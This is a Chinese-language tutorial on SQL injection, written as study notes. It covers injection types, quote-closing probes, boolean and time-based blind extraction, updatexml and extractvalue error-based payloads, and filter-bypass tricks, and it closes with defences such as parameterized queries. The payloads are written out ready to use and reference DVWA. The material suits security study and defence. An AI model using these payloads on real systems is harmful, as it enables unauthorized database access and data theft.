文章目录
一,注入分类
(1)基于从服务器接收到的响应
- ①基于报错的 SQL 注入
- ②联合查询的类型
- ③堆叠4 查询注射
- ④SQL 盲注
- 基于布尔SQL 盲注
- 基于时间的SQL 盲注
- 基于报错的SQL 盲注
(2)基于如何处理输入的 SQL 查询(数据类型)
- ①基于字符串
- ②数字型
- ③搜索型
(3)基于程度和顺序的注入(哪里发生了影响)
- ①一阶注射
- ②二阶注射
一阶注射是指输入的注射语句对 WEB 直接产生了影响,出现了结果
二阶注入类似存储型 XSS,是指输入提交的语句,无法直接对 WEB 应用程序产生影响,通过其它的辅助间接的对 WEB 产生危害,这样的就被称为是二阶注入.
(4)基于注入点的位置上的
- ①通过用户输入的表单域的注射。
- ②通过 cookie 注射。
- ③通过服务器变量注射。(基于头部信息的注射)
二,注入思路和一般方法
(0)常用的显示信息的函数
- database()
- user()
- version()
可以配合内联注释绕过 eg(
union select database/*!()*/
)
(0)用系统变量显示信息
系统变量:数据库配置文件中定义的变量
注入中的作用:用来显示配置文件中的信息来确定可进行的操
.
@@version
----版本@@basedir
-----数据库安装目录@@datadir
-----数据库文件所在处@@port
-------设置的端口@@secure_file_priv
-----mysql对文件导入导出的设置(为NULL则为不允许)
(1)判断是否存在注入点和类型
常常使用闭合单引号的操作来判断注入点
常用的尝试语句
?id=1’’ (两个单引号闭合前后法)
?id=1" (一个双引号闭合法)
or 1=1 --+
'or 1=1 --+
"or 1=1 --+
)or 1=1 --+
')or 1=1 --+
") or 1=1 --+
"))or 1=1 --+
--+ -- 为注释的意思 | + 为空格
就是# 注释符的用处 在URL编码中为%23
根据后端的代码判断闭合方法{若存在注入点,服务器会返回sql语法错误提示}
(2)盲注中基于布尔的思路
2.1 猜测长度
length (str)
1' and length(database())=4#
count() -----------可用来推测表和字段的规个数
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=1
2.2 截断字符(提取)
盲注不回显,一般为判断长度,要用到截断字符和编码判断字符
三大法宝:mid(),substr(),left()
MID(str,start[,length])
MID(DATABASE(),1,1)>’a’,查看数据库名第一位,MID(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。
substr(str, start, length)
substr(DATABASE(),1,1)>’a’,查看数据库名第一位
Left(str, n )
Left()得到字符串左部指定个数的字符
left(database(),1)>’a’,查看数据库名第一位
2.3 对截断的字符进行判断
ascii(str)
结合ASCII编码表判断
1' and ascii(substr(database(),1,1))>97 #
MYSQL 5+中 information_schema库中存储了所有的 库名,表明以及字段名信息,所有还可以使用正则和like进行猜解
用法
(3)xpath利用报错注入
XPath注入攻击是指利用XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息。
- 注入的对象不是数据库中的表了,而是一个存储数据的XML文件。
- 因为xpath不存在访问控制,所以我们不会遇到许多在SQL注入中经常遇到的访问限制。
- 通过sql中的关于xml操作的函数注入
①UPDATEXML (XML_文档, XPath语法, new_value);
- 第一个参数:XML_document是String格式,一般写1即可(不存在的文档)
- 第二个参数:xpath语法
- 第三个参数:new_value,String格式,替换查找到的符合条件的数据 (注入时随便写)
- 作用:改变文档中符合条件的节点的值
?id=1' and updatexml(1,concat(0x7e,@@version,0x7e),1)--+
【说明】
0x7e
为~的16进制编码形式()以~
开头的内容不是xml格式的语,连接后的结果显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。@@version
为系统的环境变量
② EXTRACTVALUE (XML_document, XPath_string);
- 第一个参数:XML_document是String格式,为XML文档对象的名
- 第二个参数:XPath_string (Xpath格式的字符串).
- 作用:从目标XML中返回包含所查询值的字符串
id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20database()),0x7e))--+
(4)盲注中基于时间的思路
if( (条件),sleep(5),1 )
条件可以为基于布尔的思路payload
三,常用的绕过方法
(1)如何绕过 or 和 and 过滤
- ①大小写变形 Or,OR,oR
- ②编码绕过,hex,urlencode
- ③添加注释
/*!or*/
- ④利用符号
and=&& or=||
- ⑤复写
anandd
四、防护
① 使用白名单来规范化输入
② 服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。
③ 规范编码,字符集(不用GBK)
④ 使用参数化查询
什么是参数化查询
- 在设计与数据库链接并访问数据时,在需要填入数值或数据的地方,使用参数 (Parameter) 来给值
.为什么参数化查询可以防护sql注入
原理: 使用参数化查询数据库服务器不会把参数的内容当作sql指令的一部分来执行,是在数据库完成sql指令的编译后才套用参数运行,因此就算参数中含有指令,也不会被数据库运行。
简单的说: 语句是语句,参数是参数,参数的值并不是SQL语句的一部分,数据库只按语句的语义跑。